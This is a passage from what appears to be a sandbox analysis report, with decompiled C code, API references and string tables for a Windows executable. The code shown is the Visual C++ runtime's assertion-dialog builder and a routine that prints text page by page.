															_t409 = _t409 + 0x10;
															__eflags = _t328;
															if(_t328 != 0) {
																goto L62;
															} else {
																_t329 = E00422C49(_t399, _t390, "...");
																_t409 = _t409 + 0xc;
																__eflags = _t329;
																if(_t329 != 0) {
																	goto L62;
																} else {
																	_t336 = _t336 - _v280 + _v276;
																	__eflags = _t336;
																	goto L36;
																}
															}
														} else {
															L26:
															_push(0x23);
															_t316 = E00422D84(_t346, _t399, _t390, _t336);
															_t409 = _t409 + 0x10;
															if(_t316 != 0) {
																goto L62;
															} else {
																_t317 = E00422C49(_t399, _t390, "...");
																_t409 = _t409 + 0xc;
																if(_t317 != 0) {
																	goto L62;
																} else {
																	_push(8);
																	_t321 = E00422D84(_t346, _t399, _t390, _t336 - _v280 + _v276);
																	_t409 = _t409 + 0x10;
																	if(_t321 != 0) {
																		goto L62;
																	} else {
																		_t322 = E00422C49(_t399, _t390, "...");
																		_t409 = _t409 + 0xc;
																		if(_t322 != 0) {
																			goto L62;
																		} else {
																			_push( &(_v276[0xfffffffffffffffd]) + _t336);
																			L37:
																			_push(_t390);
																			_push(_t399);
																			_t290 = E00422C49();
																			_t409 = _t409 + 0xc;
																			if(_t290 != 0) {
																				goto L62;
																			} else {
																				_t291 = E00422C49(_t399, _t390, "\n");
																				_t409 = _t409 + 0xc;
																				if(_t291 != 0) {
																					goto L62;
																				} else {
																					_t292 = E00422C49(_t399, _t390, "Line: ");
																					_t409 = _t409 + 0xc;
																					if(_t292 != 0) {
																						goto L62;
																					} else {
																						_t370 = _t399;
																						_t384 = _t370 + 1;
																						do {
																							_t293 =  *_t370;
																							_t370 = _t370 + 1;
																						} while (_t293 != 0);
																						_t346 = _t370 - _t384;
																						_t385 = _t399;
																						_t336 = _t385 + 1;
																						do {
																							_t294 =  *_t385;
																							_t385 = _t385 + 1;
																						} while (_t294 != 0);
																						_t378 = _t385 - _t336;
																						_t298 = E004227F8(_t346, _a20, _t399 + _t385 - _t336, _t390 - _t346, 0xa);
																						_t409 = _t409 + 0x10;
																						if(_t298 != 0) {
																							goto L62;
																						} else {
																							_t299 = E00422C49(_t399, _t390, "\n\n");
																							_t409 = _t409 + 0xc;
																							if(_t299 != 0) {
																								goto L62;
																							} else {
																								_t300 = E00422C49(_t399, _t390, "Expression: ");
																								_t409 = _t409 + 0xc;
																								if(_t300 != 0) {
																									goto L62;
																								} else {
																									_t371 = _t399;
																									_t386 = _t371 + 1;
																									do {
																										_t301 =  *_t371;
																										_t371 = _t371 + 1;
																									} while (_t301 != 0);
																									_t378 = _t371 - _t386 + 0xb0;
																									_t373 = _v288;
																									_t336 = _t373 + 1;
																									do {
																										_t302 =  *_t373;
																										_t373 = _t373 + 1;
																									} while (_t302 != 0);
																									_t346 = _t373 - _t336;
																									if(_t346 + _t378 <= _t390) {
																										_push(_v288);
																										goto L54;
																									} else {
																										_push(_t390 - _t378 - 3);
																										_t313 = E00422D84(_t346, _t399, _t390, _v288);
																										_t409 = _t409 + 0x10;
																										if(_t313 != 0) {
																											goto L62;
																										} else {
																											_push("...");
																											L54:
																											_push(_t390);
																											_push(_t399);
																											_t304 = E00422C49();
																											_t409 = _t409 + 0xc;
																											if(_t304 != 0) {
																												goto L62;
																											} else {
																												_t336 = "\n\n";
																												_t305 = E00422C49(_t399, _t390, _t336);
																												_t409 = _t409 + 0xc;
																												if(_t305 != 0) {
																													goto L62;
																												} else {
																													_t306 = E00422C49(_t399, _t390, "For information on how your program can cause an assertion\nfailure, see the Visual C++ documentation on asserts");
																													_t409 = _t409 + 0xc;
																													if(_t306 != 0) {
																														goto L62;
																													} else {
																														_t307 = E00422C49(_t399, _t390, _t336);
																														_t409 = _t409 + 0xc;
																														if(_t307 != 0) {
																															goto L62;
																														} else {
																															_t308 = E00422C49(_t399, _t390, "(Press Retry to debug the application - JIT must be enabled)");
																															_t409 = _t409 + 0xc;
																															if(_t308 != 0) {
																																goto L62;
																															} else {
																																return E0040361D(_v8 ^ _t403);
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								} else {
									_t346 = _t403 + _t346 - 0x141;
									_v276 = _t346;
									_t332 = E00434658(_t346,  &_v11 - _t346, "...", 3);
									_t409 = _t418 + 0x10;
									if(_t332 != 0) {
										goto L62;
									} else {
										_t378 = _v276;
										goto L10;
									}
								}
							} else {
								_t334 = E0041080E( &_v272, 0x105, "<program name unknown>");
								_t409 = _t418 + 0xc;
								if(_t334 != 0) {
									goto L62;
								} else {
									goto L5;
								}
							}
						}
					}
				}
			}

0x0040bc17
0x0040bc22
0x0040bc29
0x0040bc30
0x0040bc34
0x0040bc38
0x0040bc40
0x0040bc4b
0x0040bc51
0x0040bc56
0x0040bc5b
0x0040c02c
0x0040c02e
0x0040c02f
0x0040c030
0x0040c031
0x0040c032
0x0040c033
0x0040c038
0x0040c03b
0x0040c03c
0x0040c044
0x0040c04b
0x0040c051
0x0040c052
0x0040c055
0x0040c056
0x0040c059
0x0040c05a
0x0040c062
0x0040c06d
0x0040c073
0x0040c078
0x0040c07f
0x0040c082
0x0040c084
0x0040c50e
0x0040c510
0x0040c511
0x0040c512
0x0040c513
0x0040c514
0x0040c515
0x0040c51a
0x0040c51d
0x0040c51e
0x0040c520
0x0040c521
0x0040c533
0x0040c535
0x0040c53a
0x0040c53c
0x0040c53e
0x0040c540
0x0040c546
0x0040c54b
0x0040c54c
0x0040c54d
0x0040c552
0x0040c552
0x0040c555
0x0040c55e
0x0040c566
0x0040c56c
0x0040c570
0x0040c574
0x0040c57d
0x0040c58a
0x0040c58f
0x0040c592
0x0040c597
0x0040c59a
0x0040c59b
0x0040c59d
0x0040c59e
0x0040c5a8
0x0040c5af
0x0040c5b4
0x0040c5c0
0x0040c5c2
0x0040c5c7
0x0040c5c9
0x0040c5cb
0x0040c5cd
0x0040c5d3
0x0040c5d8
0x0040c5d9
0x0040c5da
0x0040c5df
0x0040c5df
0x0040c5e2
0x0040c5eb
0x0040c5f3
0x0040c60a
0x0040c617
0x0040c61f
0x0040c624
0x0040c627
0x0040c62d
0x0040c632
0x0040c64c
0x0040c08a
0x0040c08a
0x0040c08f
0x0040c091
0x0040c096
0x0040c099
0x0040c09b
0x00000000
0x0040c0a1
0x0040c0a1
0x0040c0a6
0x0040c0a8
0x0040c0ad
0x0040c0b0
0x0040c0b2
0x00000000
0x0040c0b8
0x0040c0c5
0x0040c0ca
0x0040c0cf
0x0040c0d5
0x0040c0df
0x0040c0e7
0x0040c0ed
0x0040c0f3
0x0040c0f5
0x0040c0fd
0x0040c103
0x0040c109
0x0040c10b
0x0040c12a
0x0040c12a
0x0040c130
0x0040c132
0x0040c135
0x0040c135
0x0040c138
0x0040c13b
0x0040c13b
0x0040c146
0x0040c14b
0x0040c14e
0x0040c17f
0x0040c17f
0x0040c180
0x0040c182
0x0040c187
0x0040c18a
0x0040c18c
0x00000000
0x0040c192
0x0040c192
0x0040c197
0x0040c199
0x0040c19e
0x0040c1a1
0x0040c1a3
0x00000000
0x0040c1a9
0x0040c1a9
0x0040c1ae
0x0040c1b0
0x0040c1b5
0x0040c1b8
0x0040c1ba
0x00000000
0x0040c1c0
0x0040c1c0
0x0040c1c6
0x0040c1c8
0x0040c1cb
0x0040c1cb
0x0040c1ce
0x0040c1d1
0x0040c1d1
0x0040c1dc
0x0040c1e1
0x0040c1e4
0x0040c4ee
0x00000000
0x0040c1ea
0x0040c1ea
0x0040c1ec
0x0040c1ef
0x0040c1ef
0x0040c1f2
0x0040c1f5
0x0040c1f5
0x0040c200
0x0040c20a
0x0040c20e
0x0040c20f
0x0040c214
0x0040c21b
0x0040c220
0x0040c226
0x0040c229
0x0040c22b
0x0040c22b
0x0040c22f
0x00000000
0x00000000
0x0040c231
0x0040c233
0x0040c235
0x0040c238
0x0040c239
0x0040c23c
0x0040c23e
0x0040c245
0x00000000
0x00000000
0x0040c245
0x00000000
0x0040c233
0x0040c247
0x0040c24a
0x0040c24a
0x0040c252
0x0040c254
0x0040c25a
0x0040c25d
0x0040c2a9
0x00000000
0x0040c2af
0x0040c2b1
0x0040c2b2
0x0040c2b6
0x0040c2bc
0x0040c2c0
0x0040c2c5
0x0040c2c8
0x0040c2ca
0x00000000
0x0040c2d0
0x0040c2d0
0x0040c2d5
0x0040c2d7
0x0040c2dc
0x0040c2df
0x0040c2e1
0x00000000
0x0040c2e7
0x0040c2e7
0x0040c2e7
0x0040c2f3
0x00000000
0x0040c2f3
0x0040c2e1
0x0040c2ca
0x0040c25f
0x0040c25f
0x0040c262
0x0040c486
0x0040c486
0x0040c48b
0x0040c490
0x0040c493
0x0040c495
0x00000000
0x0040c497
0x0040c497
0x0040c49c
0x0040c49e
0x0040c4a3
0x0040c4a6
0x0040c4a8
0x00000000
0x0040c4aa
0x0040c4aa
0x0040c4b6
0x0040c4be
0x0040c4c3
0x0040c4c6
0x0040c4c8
0x00000000
0x0040c4ca
0x0040c4ca
0x0040c4cf
0x0040c4d1
0x0040c4d6
0x0040c4d9
0x0040c4db
0x00000000
0x0040c4dd
0x0040c4e6
0x00000000
0x0040c4e6
0x0040c4db
0x0040c4c8
0x0040c4a8
0x0040c268
0x0040c26a
0x0040c26d
0x0040c271
0x0040c276
0x0040c279
0x0040c27b
0x00000000
0x0040c281
0x0040c281
0x0040c286
0x0040c288
0x0040c28d
0x0040c290
0x0040c292
0x00000000
0x0040c298
0x0040c29e
0x0040c2a4
0x0040c2f6
0x0040c2f6
0x0040c2f7
0x0040c2f7
0x0040c2f9
0x0040c2fe
0x0040c301
0x0040c303
0x00000000
0x0040c309
0x0040c309
0x0040c30e
0x0040c310
0x0040c315
0x0040c318
0x0040c31a
0x00000000
0x0040c320
0x0040c320
0x0040c325
0x0040c327
0x0040c32c
0x0040c32f
0x0040c331
0x00000000
0x0040c337
0x0040c337
0x0040c339
0x0040c33b
0x0040c33e
0x0040c33e
0x0040c341
0x0040c344
0x0040c344
0x0040c349
0x0040c349
0x0040c34b
0x0040c34d
0x0040c34f
0x0040c352
0x0040c352
0x0040c355
0x0040c358
0x0040c358
0x0040c365
0x0040c373
0x0040c378
0x0040c37b
0x0040c37d
0x00000000
0x0040c383
0x0040c383
0x0040c388
0x0040c38a
0x0040c38f
0x0040c392
0x0040c394
0x00000000
0x0040c39a
0x0040c39a
0x0040c39f
0x0040c3a1
0x0040c3a6
0x0040c3a9
0x0040c3ab
0x00000000
0x0040c3b1
0x0040c3b1
0x0040c3b3
0x0040c3b5
0x0040c3b8
0x0040c3b8
0x0040c3bb
0x0040c3be
0x0040c3be
0x0040c3c3
0x0040c3c3
0x0040c3c7
0x0040c3cd
0x0040c3d3
0x0040c3d6
0x0040c3d6
0x0040c3d9
0x0040c3dc
0x0040c3dc
0x0040c3e7
0x0040c3ec
0x0040c3ee
0x0040c4f4
0x00000000
0x0040c3f4
0x0040c3fb
0x0040c404
0x0040c409
0x0040c40c
0x0040c40e
0x00000000
0x0040c414
0x0040c414
0x0040c419
0x0040c419
0x0040c41b
0x0040c420
0x0040c423
0x0040c425
0x00000000
0x0040c42b
0x0040c42b
0x0040c430
0x0040c431
0x0040c433
0x0040c438
0x0040c43b
0x0040c43d
0x00000000
0x0040c443
0x0040c443
0x0040c448
0x0040c44a
0x0040c44f
0x0040c452
0x0040c454
0x00000000
0x0040c45a
0x0040c45a
0x0040c45b
0x0040c45d
0x0040c462
0x0040c465
0x0040c467
0x00000000
0x0040c46d
0x0040c46d
0x0040c472
0x0040c474
0x0040c479
0x0040c47c
0x0040c47e
0x00000000
0x0040c484
0x0040c504
0x0040c50d
0x0040c50d
0x0040c47e
0x0040c467
0x0040c454
0x0040c43d
0x0040c425
0x0040c40e
0x0040c3ee
0x0040c3ab
0x0040c394
0x0040c37d
0x0040c331
0x0040c31a
0x0040c303
0x0040c292
0x0040c27b
0x0040c262
0x0040c25d
0x0040c1e4
0x0040c1ba
0x0040c1a3
0x0040c150
0x0040c150
0x0040c163
0x0040c16b
0x0040c16f
0x0040c174
0x0040c177
0x0040c179
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c179
0x0040c10d
0x0040c11a
0x0040c11f
0x0040c122
0x0040c124
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c124
0x0040c10b
0x0040c0b2
0x0040c09b
0x0040bc61
0x0040bc68
0x0040bc6d
0x0040bc72
0x00000000
0x0040bc78
0x0040bc7f
0x0040bc84
0x0040bc89
0x00000000
0x0040bc8f
0x0040bc9c
0x0040bca1
0x0040bca8
0x0040bcba
0x0040bcc2
0x0040bccd
0x0040bcd7
0x0040bcdd
0x0040bce2
0x0040bce7
0x0040bd0a
0x0040bd0a
0x0040bd10
0x0040bd15
0x0040bd1b
0x0040bd1b
0x0040bd1d
0x0040bd1e
0x0040bd22
0x0040bd2e
0x0040bd61
0x0040bd64
0x0040bd69
0x0040bd6e
0x00000000
0x0040bd74
0x0040bd7b
0x0040bd80
0x0040bd85
0x00000000
0x0040bd8b
0x0040bd92
0x0040bd97
0x0040bd9c
0x00000000
0x0040bda2
0x0040bda2
0x0040bda4
0x0040bda4
0x0040bda7
0x0040bda7
0x0040bda9
0x0040bdaa
0x0040bdae
0x0040bdb0
0x0040bdb6
0x0040bec5
0x0040bec5
0x00000000
0x0040bdbc
0x0040bdbc
0x0040bdbe
0x0040bdbe
0x0040bdc1
0x0040bdc1
0x0040bdc3
0x0040bdc4
0x0040bdc8
0x0040bdcc
0x0040bdcd
0x0040bdd3
0x0040bdd9
0x0040bddf
0x0040bde1
0x0040bde4
0x0040bde6
0x0040bdee
0x0040bdef
0x0040bdf0
0x0040bdf4
0x00000000
0x00000000
0x00000000
0x0040bdf4
0x0040bdf6
0x0040bdf9
0x0040bdf9
0x0040bdff
0x0040be04
0x0040be7f
0x00000000
0x0040be81
0x0040be81
0x0040be81
0x0040be83
0x00000000
0x0040be83
0x0040be06
0x0040be09
0x0040be89
0x0040be8b
0x0040be8e
0x0040be92
0x0040be97
0x0040be9a
0x0040be9c
0x00000000
0x0040bea2
0x0040bea9
0x0040beae
0x0040beb1
0x0040beb3
0x00000000
0x0040beb9
0x0040bebf
0x0040bebf
0x00000000
0x0040bebf
0x0040beb3
0x0040be0b
0x0040be0b
0x0040be0b
0x0040be10
0x0040be15
0x0040be1a
0x00000000
0x0040be20
0x0040be27
0x0040be2c
0x0040be31
0x00000000
0x0040be37
0x0040be45
0x0040be4a
0x0040be4f
0x0040be54
0x00000000
0x0040be5a
0x0040be61
0x0040be66
0x0040be6b
0x00000000
0x0040be71
0x0040be7c
0x0040bec6
0x0040bec6
0x0040bec7
0x0040bec8
0x0040becd
0x0040bed2
0x00000000
0x0040bed8
0x0040bedf
0x0040bee4
0x0040bee9
0x00000000
0x0040beef
0x0040bef6
0x0040befb
0x0040bf00
0x00000000
0x0040bf06
0x0040bf06
0x0040bf08
0x0040bf0b
0x0040bf0b
0x0040bf0d
0x0040bf0e
0x0040bf12
0x0040bf14
0x0040bf16
0x0040bf19
0x0040bf19
0x0040bf1b
0x0040bf1c
0x0040bf20
0x0040bf30
0x0040bf35
0x0040bf3a
0x00000000
0x0040bf40
0x0040bf47
0x0040bf4c
0x0040bf51
0x00000000
0x0040bf57
0x0040bf5e
0x0040bf63
0x0040bf68
0x00000000
0x0040bf6e
0x0040bf6e
0x0040bf70
0x0040bf73
0x0040bf73
0x0040bf75
0x0040bf76
0x0040bf7c
0x0040bf82
0x0040bf88
0x0040bf8b
0x0040bf8b
0x0040bf8d
0x0040bf8e
0x0040bf92
0x0040bf99
0x0040c015
0x00000000
0x0040bf9b
0x0040bfa2
0x0040bfab
0x0040bfb0
0x0040bfb5
0x00000000
0x0040bfb7
0x0040bfb7
0x0040bfbc
0x0040bfbc
0x0040bfbd
0x0040bfbe
0x0040bfc3
0x0040bfc8
0x00000000
0x0040bfca
0x0040bfca
0x0040bfd2
0x0040bfd7
0x0040bfdc
0x00000000
0x0040bfde
0x0040bfe5
0x0040bfea
0x0040bfef
0x00000000
0x0040bff1
0x0040bff4
0x0040bff9
0x0040bffe
0x00000000
0x0040c000
0x0040c007
0x0040c00c
0x0040c011
0x00000000
0x0040c013
0x0040c02b
0x0040c02b
0x0040c011
0x0040bffe
0x0040bfef
0x0040bfdc
0x0040bfc8
0x0040bfb5
0x0040bf99
0x0040bf68
0x0040bf51
0x0040bf3a
0x0040bf00
0x0040bee9
0x0040bed2
0x0040be6b
0x0040be54
0x0040be31
0x0040be1a
0x0040be09
0x0040be04
0x0040bdb6
0x0040bd9c
0x0040bd85
0x0040bd30
0x0040bd30
0x0040bd3c
0x0040bd4b
0x0040bd50
0x0040bd55
0x00000000
0x0040bd5b
0x0040bd5b
0x00000000
0x0040bd5b
0x0040bd55
0x0040bce9
0x0040bcfa
0x0040bcff
0x0040bd04
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd04
0x0040bce7
0x0040bc89
0x0040bc72

APIs

GetModuleHandleExW.KERNEL32(00000006,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BCBA

Part of subcall function 00422FD2: GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 00422FF7
Part of subcall function 00422FD2: GetLastError.KERNEL32 ref: 00423001
Part of subcall function 00422FD2: __dosmaperr.LIBCMT ref: 00423008

Strings

Program: , xrefs: 0040BC78
File: , xrefs: 0040BD8B
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts, xrefs: 0040BFDE
Line: , xrefs: 0040BEEF
Expression: , xrefs: 0040BF57
..., xrefs: 0040BD42, 0040BE20, 0040BE5A, 0040BEA2, 0040BFB7
<program name unknown>, xrefs: 0040BCE9
(Press Retry to debug the application - JIT must be enabled), xrefs: 0040C000
Assertion failed!, xrefs: 0040BC3B

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Module$ErrorFileHandleLastName__dosmaperr
String ID: (Press Retry to debug the application - JIT must be enabled)$...$<program name unknown>$Assertion failed!$Expression: $File: $For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts$Line: $Program:
API String ID: 4185775497-1508414584
Opcode ID: cbbb82f89445ec28537ff6fd079da328b2ad2b8c0d30aaa12e6553ad9ea99cba
Instruction ID: d551dd4722a1b0f24e297d26123fcc2afc7755dfa63ee9ccd7e599ce6046893b
Opcode Fuzzy Hash: cbbb82f89445ec28537ff6fd079da328b2ad2b8c0d30aaa12e6553ad9ea99cba
Instruction Fuzzy Hash: BAB12A71A00115F6EB295B329D42FEF7769DF96308F0401BAFD04E2286F7B98A45C99C

Uniqueness

Uniqueness Score: -1.00%

Function 00401814 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 242
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401814(struct HDC__* __ecx, int* __edx, void* __eflags, intOrPtr _a4, int _a8, signed short** _a12) {
				int* _v8;
				struct HDC__* _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				struct tagSIZE _v36;
				struct tagTEXTMETRICW _v96;
				void* _t81;
				signed int _t85;
				int _t88;
				void* _t105;
				int _t106;
				signed short* _t108;
				signed short* _t109;
				signed int _t112;
				signed short* _t115;
				int* _t124;
				signed int _t125;
				int _t127;
				struct HDC__* _t128;
				int _t134;
				void* _t137;
				WCHAR* _t140;
				long _t141;
				int _t147;
				short _t149;
				signed int _t150;
				signed short* _t151;
				long _t155;
				intOrPtr _t157;
				struct HDC__* _t158;
				signed short** _t159;
				long _t161;
				void* _t162;
				short _t163;
				void* _t164;

				_t124 = __edx;
				_t158 = __ecx;
				_v8 = __edx;
				_v12 = __ecx;
				_t81 = E0040171B(0x44de88, _a8);
				_v16 = _t81;
				if(_t81 != 0) {
					if(_a4 == 0 || StartPage(__ecx) > 0) {
						GetTextMetricsW(_t158,  &_v96);
						_t155 = 0;
						if( *0x44d390 == 0) {
							_t125 = 0;
						} else {
							_t125 = E004016A8(_t158, _t124, _a4, 1, 0x44d390);
						}
						_t84 = _v8;
						_t131 = _v16;
						_t127 = _t125 * _v96.tmHeight + _v8[1];
						if( *_v16 == _t155) {
							_t85 = _t155;
						} else {
							_t85 = E004016A8(_t158, _t84, _t155, _t155, _t131);
						}
						_t159 = _a12;
						_v28 = 0xa;
						_v20 = 0xd;
						_v24 = _v8[3] - _t85 * _v96.tmHeight + _t85 * _v96.tmHeight;
						do {
							_t134 = _t159[3];
							if(_t134 != 0 ||  *_t159 >= _t159[1]) {
								L27:
								if( *0x44cf7c == 0) {
									_t147 = _t159[3];
									goto L38;
								}
								goto L28;
							} else {
								while(1) {
									_t108 =  *_t159;
									_t149 =  *_t108 & 0x0000ffff;
									if(_t149 == _v28 || _t149 == _v20) {
										goto L27;
									}
									if(_t149 != 9) {
										if(_t134 >= 0x1f4) {
											L25:
											if( *0x44cf7c != 0) {
												L28:
												GetTextExtentExPointW(_v12, _t159[2], _t159[3], _v8[2] -  *_v8,  &_a8, _t155,  &_v36);
												_t147 = _a8;
												if(_t147 >= _t159[3]) {
													L39:
													if(_a4 != 0) {
														ExtTextOutW(_v12,  *_v8, _t127, 4, _v8, _t159[2], _t147, _t155);
														_t147 = _a8;
													}
													_t58 =  &(_t159[3]);
													 *_t58 = _t159[3] - _t147;
													_t88 = _t159[3];
													if( *_t58 == 0) {
														if( *_t159 >= _t159[1]) {
															goto L52;
														}
														_t157 = _v24;
														while(_t127 < _t157) {
															_t151 =  *_t159;
															_t137 = 0xa;
															_t112 =  *_t151 & 0x0000ffff;
															if(_t112 == _t137) {
																L49:
																_t127 = _t127 + _v96.tmExternalLeading + _v96.tmHeight;
																L50:
																_t115 =  &(_t151[1]);
																 *_t159 = _t115;
																if(_t115 < _t159[1]) {
																	continue;
																}
																break;
															}
															if(_t112 != _v20) {
																break;
															}
															if(_t112 != _t137) {
																goto L50;
															}
															goto L49;
														}
														_t155 = 0;
													} else {
														E0043A610(_t159[2],  &(_t159[2][_t147]), _t88 + _t88);
														_t164 = _t164 + 0xc;
														_t127 = _t127 + _v96.tmExternalLeading + _v96.tmHeight;
													}
													goto L52;
												}
												_t140 =  &(_t159[2][_t147]);
												_t105 = 0x20;
												if( *_t140 == _t105) {
													goto L39;
												}
												_t106 = _t147;
												if(_t147 == 0) {
													L35:
													if(_t106 <= 0) {
														goto L39;
													}
													_t147 = _t106 + 1;
													L38:
													_a8 = _t147;
													goto L39;
												}
												_t162 = 0x20;
												while( *_t140 != _t162) {
													_t140 = _t140 - 2;
													_t106 = _t106 - 1;
													if(_t106 != 0) {
														continue;
													}
													break;
												}
												_t159 = _a12;
												goto L35;
											}
											L26:
											_t109 =  &(_t108[1]);
											 *_t159 = _t109;
											if(_t109 < _t159[1]) {
												continue;
											}
											goto L27;
										}
										_t159[3] =  &(_t159[3][0]);
										_t159[2][_t134] = _t149;
										L24:
										_t134 = _t159[3];
										_t108 =  *_t159;
										if(_t134 < 0x1f4) {
											goto L26;
										}
										goto L25;
									}
									_t141 = _t155;
									do {
										_t150 = _t159[3];
										if(_t150 >= 0x1f4) {
											if( *0x44cf7c != 0) {
												goto L24;
											}
											goto L20;
										}
										_t163 = 0x20;
										_t159[2][_t150] = _t163;
										_t159 = _a12;
										_t159[3] = _t159[3] + 1;
										L20:
										_t141 = _t141 + 1;
									} while (_t141 < 8);
									goto L24;
								}
								goto L27;
							}
							L52:
						} while ( *_t159 < _t159[1] && _t127 < _v24);
						_t91 = _v16;
						_t128 = _v12;
						if( *_v16 != _t155) {
							E004016A8(_t128, _v8, _a4, _t155, _t91);
						}
						if(_a4 != 0) {
							EndPage(_t128);
						}
						_t161 = 1;
						goto L59;
					} else {
						MessageBoxW( *0x44cf04, L"StartPage failed", L"Print Error", 0x30);
						_t155 = 0;
						_t161 = 0;
						L59:
						HeapFree(GetProcessHeap(), _t155, _v16);
						return _t161;
					}
				}
				return _t81;
			}

0x0040181c
0x0040181e
0x00401828
0x0040182b
0x0040182e
0x00401833
0x00401838
0x00401843
0x00401876
0x0040187c
0x00401885
0x0040189e
0x00401887
0x0040189a
0x0040189a
0x004018a4
0x004018a7
0x004018aa
0x004018b0
0x004018c0
0x004018b2
0x004018b9
0x004018b9
0x004018c9
0x004018cc
0x004018d3
0x004018e1
0x004018e4
0x004018e4
0x004018e9
0x0040196a
0x00401971
0x004019cc
0x00000000
0x004019cc
0x00000000
0x004018f2
0x004018f2
0x004018f2
0x004018f4
0x004018fb
0x00000000
0x00000000
0x00401906
0x0040193e
0x00401957
0x0040195e
0x00401973
0x0040198e
0x00401994
0x0040199a
0x004019d2
0x004019d6
0x004019e9
0x004019ef
0x004019ef
0x004019f2
0x004019f2
0x004019f5
0x004019f8
0x00401a1c
0x00000000
0x00000000
0x00401a1e
0x00401a21
0x00401a25
0x00401a29
0x00401a2a
0x00401a30
0x00401a3d
0x00401a43
0x00401a45
0x00401a45
0x00401a48
0x00401a4d
0x00000000
0x00000000
0x00000000
0x00401a4d
0x00401a36
0x00000000
0x00000000
0x00401a3b
0x00000000
0x00000000
0x00000000
0x00401a3b
0x00401a4f
0x004019fa
0x00401a05
0x00401a0d
0x00401a13
0x00401a13
0x00000000
0x004019f8
0x004019a1
0x004019a4
0x004019a8
0x00000000
0x00000000
0x004019aa
0x004019ae
0x004019c3
0x004019c5
0x00000000
0x00000000
0x004019c7
0x004019cf
0x004019cf
0x00000000
0x004019cf
0x004019b2
0x004019b3
0x004019b8
0x004019bb
0x004019be
0x00000000
0x00000000
0x00000000
0x004019be
0x004019c0
0x00000000
0x004019c0
0x00401960
0x00401960
0x00401963
0x00401968
0x00000000
0x00000000
0x00000000
0x00401968
0x00401943
0x00401946
0x0040194a
0x0040194a
0x0040194d
0x00401955
0x00000000
0x00000000
0x00000000
0x00401955
0x00401908
0x0040190a
0x0040190a
0x00401913
0x0040192e
0x00000000
0x00000000
0x00000000
0x0040192e
0x0040191a
0x0040191b
0x0040191f
0x00401922
0x00401930
0x00401930
0x00401931
0x00000000
0x00401936
0x00000000
0x004018f2
0x00401a51
0x00401a53
0x00401a61
0x00401a64
0x00401a6a
0x00401a76
0x00401a76
0x00401a7f
0x00401a82
0x00401a82
0x00401a8a
0x00000000
0x00401850
0x00401862
0x00401868
0x0040186a
0x00401a8b
0x00401a97
0x00000000
0x00401a9f
0x00401843
0x00401aa5

APIs

Part of subcall function 0040171B: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040177F
Part of subcall function 0040171B: HeapAlloc.KERNEL32(00000000), ref: 00401786

StartPage.GDI32 ref: 00401846
MessageBoxW.USER32(StartPage failed,Print Error,00000030), ref: 00401862
GetTextMetricsW.GDI32(?,?), ref: 00401876
GetTextExtentExPointW.GDI32(00000000,00000000,?,00000000,?,00000000,?), ref: 0040198E
ExtTextOutW.GDI32(00000000,?,?,00000004,?,00000000,?,00000000), ref: 004019E9
EndPage.GDI32(00000000), ref: 00401A82
GetProcessHeap.KERNEL32(00000000,?,?,?), ref: 00401A90
HeapFree.KERNEL32(00000000,?,?), ref: 00401A97

Strings

Print Error, xrefs: 00401852
StartPage failed, xrefs: 00401857

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Heap$Text$PageProcess$AllocExtentFreeMessageMetricsPointStart
String ID: Print Error$StartPage failed
API String ID: 1758665969-1681616764
Opcode ID: 005b6e47b234c8f1b7f873ed1d1fa9500c0561f5a6509da431b2610b8887f0ac
Instruction ID: cb99086c32891fc93c36744e58c72f933fe61c4ba78ab7f6afe30054a73d6f68
Opcode Fuzzy Hash: 005b6e47b234c8f1b7f873ed1d1fa9500c0561f5a6509da431b2610b8887f0ac
Instruction Fuzzy Hash: 5E918E75A00205EFCB20DF65C894EAFB7B6FF45300F14843AE856A72A0D778AD41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E460 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 487
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E0041E460(intOrPtr _a4, signed int _a8, signed int _a12, signed int _a16, signed char _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
